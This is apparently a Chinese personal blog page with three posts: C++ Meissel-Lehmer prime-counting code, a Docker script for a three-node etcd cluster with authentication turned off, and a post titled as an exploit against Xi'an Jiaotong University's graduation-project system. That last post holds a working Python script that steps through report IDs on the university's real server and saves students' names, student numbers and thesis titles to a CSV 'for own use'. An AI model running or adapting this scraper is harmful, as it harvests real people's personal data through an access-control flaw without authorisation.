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果果的博客

确定反应，调整守恒。

qq_add_answer

设置的qq加好友问题，count Prime number less than 867718012 。
答案如下

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#include<bits/stdc++.h>
 
using namespace std;
 
typedef long long LL;
const int N = 5e6 + 2;
bool np[N];
int prime[N], pi[N];
 
int getprime() {
    int cnt = 0;
    np[0] = np[1] = true;
    pi[0] = pi[1] = 0;
    for(int i = 2; i < N; ++i) {
        if(!np[i]) prime[++cnt] = i;
        pi[i] = cnt;
        for(int j = 1; j <= cnt && i * prime[j] < N; ++j) {
            np[i * prime[j]] = true;
            if(i % prime[j] == 0)   break;
        }
    }
    return cnt;
}
const int M = 7;
const int PM = 2 * 3 * 5 * 7 * 11 * 13 * 17;
int phi[PM + 1][M + 1], sz[M + 1];
void init() {
    getprime();
    sz[0] = 1;
    for(int i = 0; i <= PM; ++i)  phi[i][0] = i;
    for(int i = 1; i <= M; ++i) {
        sz[i] = prime[i] * sz[i - 1];
        for(int j = 1; j <= PM; ++j) {
            phi[j][i] = phi[j][i - 1] - phi[j / prime[i]][i - 1];
        }
    }
}
int sqrt2(LL x) {
    LL r = (LL)sqrt(x - 0.1);
    while(r * r <= x)   ++r;
    return int(r - 1);
}
int sqrt3(LL x) {
    LL r = (LL)cbrt(x - 0.1);
    while(r * r * r <= x)   ++r;
    return int(r - 1);
}
LL getphi(LL x, int s) {
    if(s == 0)  return x;
    if(s <= M)  return phi[x % sz[s]][s] + (x / sz[s]) * phi[sz[s]][s];
    if(x <= prime[s]*prime[s])   return pi[x] - s + 1;
    if(x <= prime[s]*prime[s]*prime[s] && x < N) {
        int s2x = pi[sqrt2(x)];
        LL ans = pi[x] - (s2x + s - 2) * (s2x - s + 1) / 2;
        for(int i = s + 1; i <= s2x; ++i) {
            ans += pi[x / prime[i]];
        }
        return ans;
    }
    return getphi(x, s - 1) - getphi(x / prime[s], s - 1);
}
LL getpi(LL x) {
    if(x < N)   return pi[x];
    LL ans = getphi(x, pi[sqrt3(x)]) + pi[sqrt3(x)] - 1;
    for(int i = pi[sqrt3(x)] + 1, ed = pi[sqrt2(x)]; i <= ed; ++i) {
        ans -= getpi(x / prime[i]) - i + 1;
    }
    return ans;
}
LL lehmer_pi(LL x) {
    if(x < N)   return pi[x];
    int a = (int)lehmer_pi(sqrt2(sqrt2(x)));
    int b = (int)lehmer_pi(sqrt2(x));
    int c = (int)lehmer_pi(sqrt3(x));
    LL sum = getphi(x, a) + LL(b + a - 2) * (b - a + 1) / 2;
    for (int i = a + 1; i <= b; i++) {
        LL w = x / prime[i];
        sum -= lehmer_pi(w);
        if (i > c) continue;
        LL lim = lehmer_pi(sqrt2(w));
        for (int j = i; j <= lim; j++) {
            sum -= lehmer_pi(w / prime[j]) - (j - 1);
        }
    }
    return sum;
}
 
int main() {
    init();
    LL n;
    while(cin >> n) {
        cout << lehmer_pi(n) << endl;
    }
    return 0;
}

代码copy自Meisell-Lehmer算法模板。
速度极快

使用docker以及dockernetwork搭建etcd集群

安装docker即可，使用如下脚本，network name以及node ip可以自定义。结果如后图。

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#!/bin/bash

#设置网络名
network_name=new_etcd_network

#创建网络
docker network create --driver bridge --subnet=10.3.36.0/16 --gateway=10.3.1.1 ${network_name}

#设置结点名
node1=etcd_node1
node1_ip=10.3.36.1

node2=etcd_node2
node2_ip=10.3.36.2

node3=etcd_node3
node3_ip=10.3.36.3

#设置集群口令
cluster_token=etcd_cluster


#创建节点1
docker run -d --name ${node1} \
	--network ${network_name} \
	--publish 12379:2379 \
	--publish 12380:2380 \
	--ip ${node1_ip} \
	--env ALLOW_NONE_AUTHENTICATION=yes \
	--env ETCD_NAME=${node1} \
	--env ETCD_ADVERTISE_CLIENT_URLS=http://${node1_ip}:2379 \
	--env ETCD_INITIAL_ADVERTISE_PEER_URLS=http://${node1_ip}:2380 \
	--env ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379 \
	--env ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380 \
	--env ETCD_INITIAL_CLUSTER_TOKEN=${cluster_token} \
	--env ETCD_INITIAL_CLUSTER=${node1}=http://${node1_ip}:2380,${node2}=http://${node2_ip}:2380,${node3}=http://${node3_ip}:2380 \
	--env ETCD_INITIAL_CLUSTER_STATE=new \
	bitnami/etcd:latest

#创建节点2
docker run -d --name ${node2} \
	--network ${network_name} \
	--publish 22379:2379 \
	--publish 22380:2380 \
	--ip ${node2_ip} \
	--env ALLOW_NONE_AUTHENTICATION=yes \
	--env ETCD_NAME=${node2} \
	--env ETCD_ADVERTISE_CLIENT_URLS=http://${node2_ip}:2379 \
	--env ETCD_INITIAL_ADVERTISE_PEER_URLS=http://${node2_ip}:2380 \
	--env ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379 \
	--env ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380 \
	--env ETCD_INITIAL_CLUSTER_TOKEN=${cluster_token} \
	--env ETCD_INITIAL_CLUSTER=${node1}=http://${node1_ip}:2380,${node2}=http://${node2_ip}:2380,${node3}=http://${node3_ip}:2380 \
	--env ETCD_INITIAL_CLUSTER_STATE=new \
	bitnami/etcd:latest

#创建节点3
docker run -d --name ${node3} \
	--network ${network_name} \
	--publish 32379:2379 \
	--publish 32380:2380 \
	--ip ${node3_ip} \
	--env ALLOW_NONE_AUTHENTICATION=yes \
	--env ETCD_NAME=${node3} \
	--env ETCD_ADVERTISE_CLIENT_URLS=http://${node3_ip}:2379 \
	--env ETCD_INITIAL_ADVERTISE_PEER_URLS=http://${node3_ip}:2380 \
	--env ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379 \
	--env ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380 \
	--env ETCD_INITIAL_CLUSTER_TOKEN=${cluster_token} \
	--env ETCD_INITIAL_CLUSTER=${node1}=http://${node1_ip}:2380,${node2}=http://${node2_ip}:2380,${node3}=http://${node3_ip}:2380 \
	--env ETCD_INITIAL_CLUSTER_STATE=new \
	bitnami/etcd:latest


西安交通大学毕设系统信息泄露exp

毕设系统看起来年久失修，像是上世纪的网站，必然存在漏洞。

开题报告或者任务书界面抓取通信接口即可发现问题所在。

以下exp存在本地一个hack3.csv里面，自用。

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import requests
from lxml import etree
import re
import pandas as pd 
import time
def get_information(num,bbb):
	url = "http://pts.xjtu.edu.cn:8080/Report/ViewRenWu.aspx?ReportNo="+str(num)

	querystring = {"ReportNo":"2"}

	headers = {
	    'cache-control': "no-cache",
	    'postman-token': "0cfe8f51-b9eb-58b7-113a-1215444bcfad"
	    }

	response = requests.request("GET", url, headers=headers)

	html = etree.HTML(response.text)
	tittle = html.xpath('/html/body/form/table/tr[3]/td/text()')
	name = html.xpath('/html/body/form/table/tr[4]/td/text()')
	if len(name) == 1:
		print('---')
		bbb = bbb-1
		if(bbb<=0):
			return 0,0,0,0
		return 0,1,0,bbb
	bbb = 10
	number = re.findall(r'\d+',name[1])
	user_name = name[1].split('\xa0')[0]
	print(user_name,number[0],tittle[1])
	time.sleep(1)
	return user_name,number[0],tittle[1],bbb
	#print()
if __name__ == '__main__':
	bbb = 10
	#pd.DataFrame(np_data, columns = ['year', 'month', 'day'])
	#get_information(2222222)		
	ans = []

	i=1925
	while 1:
		i=i+1
		user_name,number,tittle,bbb = get_information(i,bbb)
		if number == 0:
			break
		elif number == 1:
			continue
		ans.append([user_name,number,tittle.replace('\u2022','')])
		if i%10 == 0:
			save = pd.DataFrame(ans, columns = ['name', 'number', 'study']) 
			save.to_csv('hack3.csv',encoding = 'utf_8_sig') 
	print(ans)

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